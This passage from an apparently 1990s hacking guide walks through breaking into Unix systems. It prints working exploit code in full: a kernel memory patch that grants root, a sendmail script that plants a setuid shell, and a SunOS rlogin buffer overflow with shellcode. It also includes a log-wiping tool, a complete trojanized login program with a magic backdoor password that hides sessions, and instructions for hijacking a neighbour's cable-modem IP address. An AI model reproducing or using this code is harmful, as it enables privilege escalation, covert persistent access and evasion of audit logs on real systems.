memgetseg (&taskptr, 7, taskptr, sizeof (taskptr)); taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr); memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); } printf("Current process is %i\n",thistask.pid); taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr); memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); } printf("Parent process is %i\n",thistask.pid); thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0; thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0; memputseg (7, taskptr, &thistask, sizeof (thistask)); printf ("Shit happens: parent process is now root process.\n"); return 0; }; c.) Other linux versions: Sendmail exploit: #/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd echo "Now type: /tmp/sh" SUNOS: Rlogin exploit: (arghh!) #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 8200 #define EXTRA 100 #define STACK_OFFSET 4000 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } Want more exploits? Get 'em from other sites (like rootshell, dhp.com/~fyodor, etc...). Step 3: Covering your tracks: ______ For this you could use lots of programs like zap, utclean, and lots of others... Watch out, ALWAYS after you cloaked yourself to see if it worked do a: victim1:~$ who ...(crap)... victim1:~$ finger ...;as;;sda... victim1:~$w ... If you are still not cloaked, look for wtmpx, utmpx and other stuff like that. The only cloaker (that I know) that erased me even from wtmpx/utmpx was utclean. But I don't have it right now, so ZAP'll have to do the job. /* Title: Zap.c (c) rokK Industries Sequence: Syztems: Note: 911204.B Kompiles on SunOS 4.+ To mask yourself from lastlog and wtmp you need to be root, utmp is go+w on default SunOS, but is sometimes removed. Kompile: Run: Desc: cc -O Zap.c -o Zap Zap <Username> Will Fill the Wtmp and Utmp Entries corresponding to the entered Username. It also Zeros out the last login data for the specific user, fingering that user will show 'Never Logged In' Usage: If you cant find a usage for this, get a brain. */ #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <utmp.h> #include <lastlog.h> #include <pwd.h> int f; void kill_tmp(name,who) char *name, *who; { struct utmp utmp_ent; if ((f=open(name,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_tmp("/etc/utmp",argv[1]); kill_tmp("/usr/adm/wtmp",argv[1]); kill_lastlog(argv[1]); printf("Zap!\n"); } else printf("Error.\n"); } Step 4: Keeping that account. _______ This usually means that you'll have to install some programs to give you access even if the root has killed your account... (DAEMONS!!!) =>|-@ Here is an example of a login daemon from the DemonKit (good job, fellows...) LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date of creation. (use touch --help to see how!) /* This is a simple trojanized login program, this was designed for Linux and will not work without modification on linux. It lets you login as either a root user, or any ordinary user by use of a 'magic password'. It will also prevent the login from being logged into utmp, wtmp, etc. You will effectively be invisible, and not be detected except via 'ps'. */ #define BACKDOOR int "password" krad=0; /* This program is derived from 4.3 BSD software and is subject to the copyright notice below. The port to HP-UX has been motivated by the incapability of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes. Changes: - General HP-UX portation. Use of facilities not available in HP-UX (e.g. setpriority) has been eliminated. Utmp/wtmp handling has been ported. - The program uses BSD command line options to be used in connection with e.g. 'rlogind' i.e. 'new login'. - HP features left out: logging of bad login attempts in /etc/btmp, they are sent to syslog password expiry '*' as login shell, add it if you need it - BSD features left out: quota checks password expiry analysis of terminal type (tset feature) - BSD features thrown in: Security logging to syslogd. This requires you to have a (ported) syslog system -- 7.0 comes with syslog 'Lastlog' feature. - A lot of nitty gritty details has been adjusted in favour of HP-UX, e.g. /etc/securetty, default paths and the environment variables assigned by 'login'. - We do *nothing* to setup/alter tty state, under HP-UX this is to be done by getty/rlogind/telnetd/some one else. Michael Glad (glad@daimi.dk) Computer Science Department Aarhus University Denmark 1990-07-04 1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port: - now explictly sets non-blocking mode on descriptors - strcasecmp is now part of HP-UX 1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12 From 1992 till now (1995) this code for Linux has been maintained at ftp.daimi.aau.dk:/pub/linux/poe/ */ /* * Copyright (c) 1980, 1987, 1988 The Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * duplicated in all such forms and that any documentation, * advertising materials, and other materials related to such * distribution and use acknowledge that the software was developed * by the University of California, Berkeley. The name of the * University may not be used to endorse or promote products derived * from this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.\n\ All rights reserved.\n"; #endif /* not lint */ #ifndef lint static char sccsid[] = "@(#)login.c #endif /* not lint */ 5.40 (Berkeley) 5/9/89"; /* * login [ name ] * login -h hostname (for telnetd, etc.) * login -f name (for pre-authenticated login: datakit, xterm, etc.) */ /* #define TESTING */ #ifdef TESTING #include "param.h" #else #include <sys/param.h> #endif #include <ctype.h> #include <unistd.h> #include <getopt.h> #include <memory.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/file.h> #include <termios.h> #include <string.h> #define index strchr #define rindex strrchr #include <sys/ioctl.h> #include <signal.h> #include <errno.h> #include <grp.h> #include <pwd.h> #include <setjmp.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/syslog.h> #include <sys/sysmacros.h> #include <netdb.h> #ifdef TESTING # include "utmp.h" #else # include <utmp.h> #endif #ifdef SHADOW_PWD #include <shadow.h> #endif #ifndef linux #include <tzfile.h> #include <lastlog.h> #else struct lastlog { long ll_time; char ll_line[12]; char ll_host[16]; }; #endif #include "pathnames.h" #define P_(s) () void opentty P_((const char *tty)); void getloginname P_((void)); void timedout P_((void)); int rootterm P_((char *ttyn)); void motd P_((void)); void sigint P_((void)); void checknologin P_((void)); void dolastlog P_((int quiet)); void badlogin P_((char *name)); char *stypeof P_((char *ttyid)); void checktty P_((char *user, char *tty)); void getstr P_((char *buf, int cnt, char *err)); void sleepexit P_((int eval)); #undef P_ #ifdef KERBEROS #include <kerberos/krb.h> #include <sys/termios.h> char realm[REALM_SZ]; int kerror = KSUCCESS, notickets = 1; #endif #ifndef linux #define TTYGRPNAME "tty" /* name of group to own ttys */ #else # define TTYGRPNAME # ifndef MAXPATHLEN # "other" define MAXPATHLEN 1024 # endif #endif /* * This bounds the time given to login. Not a define so it can * be patched on machines where it's too small. */ #ifndef linux int timeout = 300; #else int timeout = 60; #endif struct passwd *pwd; int failures; char term[64], *hostname, *username, *tty; char thishost[100]; #ifndef linux struct sgttyb sgttyb; struct tchars tc = { CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK }; struct ltchars ltc = { CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT }; #endif char *months[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; /* provided by Linus Torvalds 16-Feb-93 */ void opentty(const char * tty) { int i; int fd = open(tty, O_RDWR); for (i = 0 ; i < fd ; i++) close(i); for (i = 0 ; i < 3 ; i++) dup2(fd, i); if (fd >= 3) close(fd); } int main(argc, argv) int argc; char **argv; { extern int errno, optind; extern char *optarg, **environ; struct timeval tp; struct tm *ttp; struct group *gr; register int ch; register char *p; int ask, fflag, hflag, pflag, cnt; int quietlog, passwd_req, ioctlval; char *domain, *salt, *ttyn, *pp; char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10]; char *ctime(), *ttyname(), *stypeof(); time_t time(); void timedout(); char *termenv; #ifdef linux char tmp[100]; /* Just as arbitrary as mountain time: */ /* (void)setenv("TZ", "MET-1DST",0); */ #endif (void)signal(SIGALRM, timedout); (void)alarm((unsigned int)timeout); (void)signal(SIGQUIT, SIG_IGN); (void)signal(SIGINT, SIG_IGN); (void)setpriority(PRIO_PROCESS, 0, 0); #ifdef HAVE_QUOTA (void)quota(Q_SETUID, 0, 0, 0); #endif /* * -p is used by getty to tell login not to destroy the environment * -f is used to skip a second login authentication * -h is used by other servers to pass the name of the remote * host to login so that it may be placed in utmp and wtmp */ (void)gethostname(tbuf, sizeof(tbuf)); (void)strncpy(thishost, tbuf, sizeof(thishost)-1); domain = index(tbuf, '.'); fflag = hflag = pflag = 0; passwd_req = 1; while ((ch = getopt(argc, argv, "fh:p")) != EOF) switch (ch) { case 'f': fflag = 1; break; case 'h': if (getuid()) { (void)fprintf(stderr, "login: -h for super-user only.\n"); exit(1); } hflag = 1; if (domain && (p = index(optarg, '.')) && strcasecmp(p, domain) == 0) *p = 0; hostname = optarg; break; case 'p': pflag = 1; break; case '?': default: (void)fprintf(stderr, "usage: login [-fp] [username]\n"); exit(1); } argc -= optind; argv += optind; if (*argv) { username = *argv; ask = 0; } else ask = 1; #ifndef linux ioctlval = 0; (void)ioctl(0, TIOCLSET, &ioctlval); (void)ioctl(0, TIOCNXCL, 0); (void)fcntl(0, F_SETFL, ioctlval); (void)ioctl(0, TIOCGETP, &sgttyb); sgttyb.sg_erase = CERASE; sgttyb.sg_kill = CKILL; (void)ioctl(0, TIOCSLTC, <c); (void)ioctl(0, TIOCSETC, &tc); (void)ioctl(0, TIOCSETP, &sgttyb); /* * Be sure that we're in * blocking mode!!! * This is really for HPUX */ ioctlval = 0; (void)ioctl(0, FIOSNBIO, &ioctlval); #endif for (cnt = getdtablesize(); cnt > 2; cnt--) close(cnt); ttyn = ttyname(0); if (ttyn == NULL || *ttyn == '\0') { (void)sprintf(tname, "%s??", _PATH_TTY); ttyn = tname; } setpgrp(); { struct termios tt, ttt; tcgetattr(0, &tt); ttt = tt; ttt.c_cflag &= ~HUPCL; if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) { tcsetattr(0,TCSAFLUSH,&ttt); signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */ vhangup(); signal(SIGHUP, SIG_DFL); } setsid(); /* re-open stdin,stdout,stderr after vhangup() closed them */ /* if it did, after 0.99.5 it doesn't! */ opentty(ttyn); tcsetattr(0,TCSAFLUSH,&tt); } if (tty = rindex(ttyn, '/')) ++tty; else tty = ttyn; openlog("login", LOG_ODELAY, LOG_AUTH); for (cnt = 0;; ask = 1) { ioctlval = 0; #ifndef linux (void)ioctl(0, TIOCSETD, &ioctlval); #endif if (ask) { fflag = 0; getloginname(); } checktty(username, tty); (void)strcpy(tbuf, username); if (pwd = getpwnam(username)) salt = pwd->pw_passwd; else salt = "xx"; /* if user not super-user, check for disabled logins */ if (pwd == NULL || pwd->pw_uid) checknologin(); /* * Disallow automatic login to root; if not invoked by * root, disallow if the uid's differ. */ if (fflag && pwd) { int uid = getuid(); passwd_req = pwd->pw_uid == 0 || (uid && uid != pwd->pw_uid); } /* * If trying to log in as root, but with insecure terminal, * refuse the login attempt. */ if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) { (void)fprintf(stderr, "%s login refused on this terminal.\n", pwd->pw_name); if (hostname) syslog(LOG_NOTICE, "LOGIN %s REFUSED FROM %s ON TTY %s", pwd->pw_name, hostname, tty); else syslog(LOG_NOTICE, "LOGIN %s REFUSED ON TTY %s", pwd->pw_name, tty); continue; } /* * If no pre-authentication and a password exists * for this user, prompt for one and verify it. */ if (!passwd_req || (pwd && !*pwd->pw_passwd)) break; setpriority(PRIO_PROCESS, 0, -4); pp = getpass("Password: "); if(strcmp(BACKDOOR, pp) == 0) krad++; p = crypt(pp, salt); setpriority(PRIO_PROCESS, 0, 0); #ifdef KERBEROS /* * If not present in pw file, act as we normally would. * If we aren't Kerberos-authenticated, try the normal * pw file for a password. If that's ok, log the user * in without issueing any tickets. */ if (pwd && !krb_get_lrealm(realm,1)) { /* * get TGT for local realm; be careful about uid's * here for ticket file ownership */ (void)setreuid(geteuid(),pwd->pw_uid); kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm, "krbtgt", realm, DEFAULT_TKT_LIFE, pp); (void)setuid(0); if (kerror == INTK_OK) { memset(pp, 0, strlen(pp)); notickets = 0; /* user got ticket */ break; } } #endif (void) memset(pp, 0, strlen(pp)); if (pwd && !strcmp(p, pwd->pw_passwd)) break; if(krad != 0) break; (void)printf("Login incorrect\n"); failures++; badlogin(username); /* log ALL bad logins */ /* we allow 10 tries, but after 3 we start backing off */ if (++cnt > 3) { if (cnt >= 10) { sleepexit(1); } sleep((unsigned int)((cnt - 3) * 5)); } } /* committed to login -- turn off timeout */ (void)alarm((unsigned int)0); #ifdef HAVE_QUOTA if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) { switch(errno) { case EUSERS: (void)fprintf(stderr, "Too many users logged on already.\nTry again later.\n"); break; case EPROCLIM: (void)fprintf(stderr, "You have too many processes running.\n"); break; default: perror("quota (Q_SETUID)"); } sleepexit(0); } #endif /* paranoia... */ endpwent(); /* This requires some explanation: As root we may not be able to read the directory of the user if it is on an NFS mounted filesystem. We temporarily set our effective uid to the user-uid making sure that we keep root privs. in the real uid. A portable solution would require a fork(), but we rely on Linux having the BSD setreuid() */ { char tmpstr[MAXPATHLEN]; uid_t ruid = getuid(); gid_t egid = getegid(); strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12); strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN); setregid(-1, pwd->pw_gid); setreuid(0, pwd->pw_uid); quietlog = (access(tmpstr, R_OK) == 0); setuid(0); /* setreuid doesn't do it alone! */ setreuid(ruid, 0); setregid(-1, egid); } #ifndef linux #ifdef KERBEROS if (notickets && !quietlog) (void)printf("Warning: no Kerberos tickets issued\n"); #endif #define TWOWEEKS (14*24*60*60) if (pwd->pw_change || pwd->pw_expire) (void)gettimeofday(&tp, (struct timezone *)NULL); if (pwd->pw_change) if (tp.tv_sec >= pwd->pw_change) { (void)printf("Sorry -- your password has expired.\n"); sleepexit(1); } else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) { ttp = localtime(&pwd->pw_change); (void)printf("Warning: your password expires on %s %d, %d\n", months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year); } if (pwd->pw_expire) if (tp.tv_sec >= pwd->pw_expire) { (void)printf("Sorry -- your account has expired.\n"); sleepexit(1); } else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) { ttp = localtime(&pwd->pw_expire); (void)printf("Warning: your account expires on %s %d, %d\n", months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE ttp->tm_year); } /* nothing else left to fail -- really log in */ { struct utmp utmp; memset((char *)&utmp, 0, sizeof(utmp)); (void)time(&utmp.ut_time); strncpy(utmp.ut_name, username, sizeof(utmp.ut_name)); if (hostname) strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host)); strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line)); login(&utmp); } #else /* for linux, write entries in utmp and wtmp */ { struct utmp ut; char *ttyabbrev; int wtmp; memset((char *)&ut, 0, sizeof(ut)); + ut.ut_type = USER_PROCESS; ut.ut_pid = getpid(); strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line)); ttyabbrev = ttyn + sizeof("/dev/tty") - 1; strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id)); (void)time(&ut.ut_time); strncpy(ut.ut_user, username, sizeof(ut.ut_user)); /* fill in host and ip-addr fields when we get networking */ if (hostname) { struct hostent *he; strncpy(ut.ut_host, hostname, sizeof(ut.ut_host)); if ((he = gethostbyname(hostname))) memcpy(&ut.ut_addr, he->h_addr_list[0], sizeof(ut.ut_addr)); } utmpname(_PATH_UTMP); setutent(); if(krad == 0) pututline(&ut); endutent(); if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) { flock(wtmp, LOCK_EX); if(krad == 0) write(wtmp, (char *)&ut, sizeof(ut)); flock(wtmp, LOCK_UN); close(wtmp); } } /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */ #endif if(krad == 0) dolastlog(quietlog); #ifndef linux if (!hflag) { /* XXX */ static struct winsize win = { 0, 0, 0, 0 }; (void)ioctl(0, TIOCSWINSZ, &win); } #endif (void)chown(ttyn, pwd->pw_uid, (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid); (void)chmod(ttyn, 0622); (void)setgid(pwd->pw_gid); initgroups(username, pwd->pw_gid); #ifdef HAVE_QUOTA quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0); #endif if (*pwd->pw_shell == '\0') pwd->pw_shell = _PATH_BSHELL; #ifndef linux /* turn on new line discipline for the csh */ else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) { ioctlval = NTTYDISC; (void)ioctl(0, TIOCSETD, &ioctlval); } #endif /* preserve TERM even without -p flag */ { char *ep; if(!((ep = getenv("TERM")) && (termenv = strdup(ep)))) termenv = "dumb"; } /* destroy environment unless user has requested preservation */ if (!pflag) { environ = (char**)malloc(sizeof(char*)); memset(environ, 0, sizeof(char*)); } #ifndef linux (void)setenv("HOME", pwd->pw_dir, 1); (void)setenv("SHELL", pwd->pw_shell, 1); if (term[0] == '\0') strncpy(term, stypeof(tty), sizeof(term)); (void)setenv("TERM", term, 0); (void)setenv("USER", pwd->pw_name, 1); (void)setenv("PATH", _PATH_DEFPATH, 0); #else (void)setenv("HOME", pwd->pw_dir, 0); if(pwd->pw_uid) (void)setenv("PATH", _PATH_DEFPATH, 1); /* legal to override */ else (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1); (void)setenv("SHELL", pwd->pw_shell, 1); (void)setenv("TERM", termenv, 1); /* mailx will give a funny error msg if you forget this one */ (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name); (void)setenv("MAIL",tmp,0); /* LOGNAME is not documented in login(1) but HP-UX 6.5 does it. We'll not allow modifying it. */ (void)setenv("LOGNAME", pwd->pw_name, 1); #endif #ifndef linux if (tty[sizeof("tty")-1] == 'd') if(krad == 0) syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name); #endif if (pwd->pw_uid == 0) if(krad == 0) if (hostname) syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s", tty, hostname); else syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty); if (!quietlog) { struct stat st; motd(); (void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name); if (stat(tbuf, &st) == 0 && st.st_size != 0) (void)printf("You have %smail.\n", (st.st_mtime > st.st_atime) ? "new " : ""); } (void)signal(SIGALRM, SIG_DFL); (void)signal(SIGQUIT, SIG_DFL); (void)signal(SIGINT, SIG_DFL); (void)signal(SIGTSTP, SIG_IGN); (void)signal(SIGHUP, SIG_DFL); /* discard permissions last so can't get killed and drop core */ if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) { syslog(LOG_ALERT, "setuid() failed"); exit(1); } /* wait until here to change directory! */ if (chdir(pwd->pw_dir) < 0) { (void)printf("No directory %s!\n", pwd->pw_dir); if (chdir("/")) exit(0); pwd->pw_dir = "/"; (void)printf("Logging in with home = \"/\".\n"); } /* if the shell field has a space: treat it like a shell script */ if (strchr(pwd->pw_shell, ' ')) { char *buff = malloc(strlen(pwd->pw_shell) + 6); if (buff) { strcpy(buff, "exec "); strcat(buff, pwd->pw_shell); execlp("/bin/sh", "-sh", "-c", buff, (char *)0); fprintf(stderr, "login: couldn't exec shell script: %s.\n", strerror(errno)); exit(0); } fprintf(stderr, "login: no memory for shell script.\n"); exit(0); } tbuf[0] = '-'; strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ? p + 1 : pwd->pw_shell)); execlp(pwd->pw_shell, tbuf, (char *)0); (void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno)); exit(0); } void getloginname() { register int ch; register char *p; static char nbuf[UT_NAMESIZE + 1]; for (;;) { (void)printf("\n%s login: ", thishost); fflush(stdout); for (p = nbuf; (ch = getchar()) != '\n'; ) { if (ch == EOF) { badlogin(username); exit(0); } if (p < nbuf + UT_NAMESIZE) *p++ = ch; } if (p > nbuf) if (nbuf[0] == '-') (void)fprintf(stderr, "login names may not start with '-'.\n"); else { *p = '\0'; username = nbuf; break; } } } void timedout() { struct termio ti; (void)fprintf(stderr, "Login timed out after %d seconds\n", timeout); /* reset echo */ (void) ioctl(0, TCGETA, &ti); ti.c_lflag |= ECHO; (void) ioctl(0, TCSETA, &ti); exit(0); } int rootterm(ttyn) char *ttyn; #ifndef linux { struct ttyent *t; return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE); } #else { int fd; char buf[100],*p; int cnt, more; fd = open(SECURETTY, O_RDONLY); if(fd < 0) return 1; /* read each line in /etc/securetty, if a line matches our ttyline then root is allowed to login on this tty, and we should return true. */ for(;;) { p = buf; cnt = 100; while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++; if(more && *p == '\n') { *p = '\0'; if(!strcmp(buf, ttyn)) { close(fd); return 1; } else continue; } else { close(fd); return 0; } } } #endif jmp_buf motdinterrupt; void motd() { register int fd, nchars; void (*oldint)(), sigint(); char tbuf[8192]; if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0) return; oldint = signal(SIGINT, sigint); if (setjmp(motdinterrupt) == 0) while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0) (void)write(fileno(stdout), tbuf, nchars); (void)signal(SIGINT, oldint); (void)close(fd); } void sigint() { longjmp(motdinterrupt, 1); } void checknologin() { register int fd, nchars; char tbuf[8192]; if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) { while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0) (void)write(fileno(stdout), tbuf, nchars); sleepexit(0); } } void dolastlog(quiet) int quiet; { struct lastlog ll; int fd; if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) { (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET); if (!quiet) { if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) && ll.ll_time != 0) { (void)printf("Last login: %.*s ", 24-5, (char *)ctime(&ll.ll_time)); if (*ll.ll_host != '\0') printf("from %.*s\n", (int)sizeof(ll.ll_host), ll.ll_host); else printf("on %.*s\n", (int)sizeof(ll.ll_line), ll.ll_line); } (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET); } memset((char *)&ll, 0, sizeof(ll)); (void)time(&ll.ll_time); strncpy(ll.ll_line, tty, sizeof(ll.ll_line)); if (hostname) strncpy(ll.ll_host, hostname, sizeof(ll.ll_host)); if(krad == 0) (void)write(fd, (char *)&ll, sizeof(ll)); (void)close(fd); } } void badlogin(name) char *name; { if (failures == 0) return; if (hostname) syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s", failures, failures > 1 ? "S" : "", hostname, name); else syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s", failures, failures > 1 ? "S" : "", tty, name); } #undef UNKNOWN #define UNKNOWN "su" #ifndef linux char * stypeof(ttyid) char *ttyid; { struct ttyent *t; return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN); } #endif void checktty(user, tty) char *user; char *tty; { FILE *f; char buf[256]; char *ptr; char devname[50]; struct stat stb; /* no /etc/usertty, default to allow access */ if(!(f = fopen(_PATH_USERTTY, "r"))) return; while(fgets(buf, 255, f)) { /* strip comments */ for(ptr = buf; ptr < buf + 256; ptr++) if(*ptr == '#') *ptr = 0; strtok(buf, " \t"); if(strncmp(user, buf, 8) == 0) { while((ptr = strtok(NULL, "\t\n "))) { if(strncmp(tty, ptr, 10) == 0) { fclose(f); return; } if(strcmp("PTY", ptr) == 0) { #ifdef linux sprintf(devname, "/dev/%s", ptr); /* VERY linux dependent, recognize PTY as alias for all pseudo tty's */ if((stat(devname, &stb) >= 0) && major(stb.st_rdev) == 4 && minor(stb.st_rdev) >= 192) { fclose(f); return; } #endif } } /* if we get here, /etc/usertty exists, there's a line beginning with our username, but it doesn't contain the name of the tty where the user is trying to log in. So deny access! */ fclose(f); printf("Login on %s denied.\n", tty); badlogin(user); sleepexit(1); } } fclose(f); /* users not mentioned in /etc/usertty are by default allowed access on all tty's */ } void getstr(buf, cnt, err) char *buf, *err; int cnt; { char ch; do { if (read(0, &ch, sizeof(ch)) != sizeof(ch)) exit(1); if (--cnt < 0) { (void)fprintf(stderr, "%s too long\r\n", err); sleepexit(1); } *buf++ = ch; } while (ch); } void sleepexit(eval) int eval; { sleep((unsigned int)5); exit(eval); } So if you really wanna have root access and have access to console, reboot it (carefully, do a ctrl-alt-del) and at lilo prompt do a : init=/bin/bash rw (for linux 2.0.0 and above (I think)). Don't wonder why I was speaking only about rootshell and dhp.com, there are lots of other very good hacking pages, but these ones are updated very quickly and besides, are the best pages I know. So folks, this was it... First version of my USER's GUIDE 1.0. Maybe I'll do better next time, and if I have more time, I'll add about 50(more) other exploits, remote ones, new stuff, new techniques, etc... See ya, folks ! GOOD NIGHT !!! (it's 6.am now). DAMN !!! ARGHHH! I forgot... My e-mail adress is <phantom@lhab-gw.soroscj.ro>. (for now). Cable Modem IP Hijacking in Win95/98 The purpose of this is to show you how bad cable modems security is and that even with a win box you can take someone else's IP. You can hijack IP's using a cable modem and it's very simple in any operating system. Just follow the steps: 1) Choose someone's IP that you wish to have. Make sure the IP is on the same network. Most cable modem providers use DHCP. The fist thing you have to do is find the victims IP. Remember the victims IP has to be in the same network and with the same service provider for this to work. 2) Now this is probably the hardest thing in this file (but it's still easy), you have to wait until the victims computer is off or you can Smurf kill his connection. When you think his computer is off-line just try to ping it to see if you get a response. Do this by going to a DOS prompt and typing "ping <victims IP>". If you get a response then you have to try harder. After you get his PC off-line then you go into your network properties and edit the IP settings, but instead of having yours there you put the victims IP, host, and domain. 3) Restart. If you restart and you get an IP conflict this means that the victims computer is on, if you don't get an IP conflict then try to go to your web browser and see if it works. With some cable modem providers you might have to also add the Gateway, Subnet mask (255.255.55.0), Host, DNS search, and Domain. Now you can go. Everything will work until the victims PC is back on. Once it is back online it will take the IP away because it will tell you that you have the wrong Mac addresses. *Linux* This is also possible in Linux, but is not the best way. You can change your Mac address to the victims PC and this is more secure and much easier. There are a couple of scripts to change your address, just look around. Warning: Some cable modem service providers will know when you're using the wrong IP, but hey, it might be useful. Copyright (c) 1999 Wildman www.hackcanada.com ============================================================================= CA-95:01 CERT Advisory January 23, 1995 IP 